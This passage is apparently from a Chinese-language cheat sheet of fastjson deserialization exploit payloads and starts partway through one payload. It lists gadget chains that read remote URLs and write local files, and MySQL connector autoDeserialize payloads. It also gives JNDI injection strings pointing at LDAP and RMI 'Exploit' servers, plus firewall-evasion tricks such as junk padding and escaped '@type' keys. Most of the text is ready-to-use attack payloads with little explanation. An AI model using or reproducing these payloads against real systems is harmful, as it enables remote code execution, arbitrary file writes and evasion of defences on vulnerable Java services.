"@type":"jdk.nashorn.api.scripting.URLReader",
"url":"http://127.0.0.1:8083/test.txt"
},
"charsetName":"UTF-8",
"bufferSize":10000
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/files/12345",
"encoding":"UTF-8",
"append": true
},
"charset":"UTF-8",
"bufferSize": 8193,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
```

2021黑帽大会腾讯玄武披露
详细漏洞原理待研究
https://b1ue.cn/archives/506.html
```java
Mysqlconnector 5.1.x
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":”user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":"dbname","url":""}

Mysqlconnector 6.0.2 or 6.0.3
{"@type": "java.lang.AutoCloseable","@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}

Mysqlconnector 6.x or < 8.0.20
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}
```

### fastjson<=1.2.68

### fastjson未知版本
待探索

```java
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}
```

### fastjson < 1.2.83

- 具体版本1.2.76 <= fastjson < 1.2.83
- 依赖groovy

具体参考
https://github.com/Lonely-night/fastjsonVul

## bypasswaf

绕过 WAF ，在部分中间件中，multipart 支持指定 Content-Transformer-Encoding
可以使用 Base64 或 quoted-printable （QP 编码）来绕过 WAF

大量字符绕过 WAF
```
[11111111111111111111111111111111111,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,...,{'\x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"... ]]]]]
```

各种特性
```
,new:[NaN,x'00',{,/*}*/'\x40\u0074\x79\u0070\x65':xjava.lang.AutoClosea ble"
```

文章推荐：https://www.sec-in.com/article/950

Fastjson默认会去除键、值外的空格、`\b`、`\n`、`\r`、`\f`等，同时还会自动将键与值进行unicode与十六进制解码。

```java
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{/*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{"@type"\b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true} {"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}
```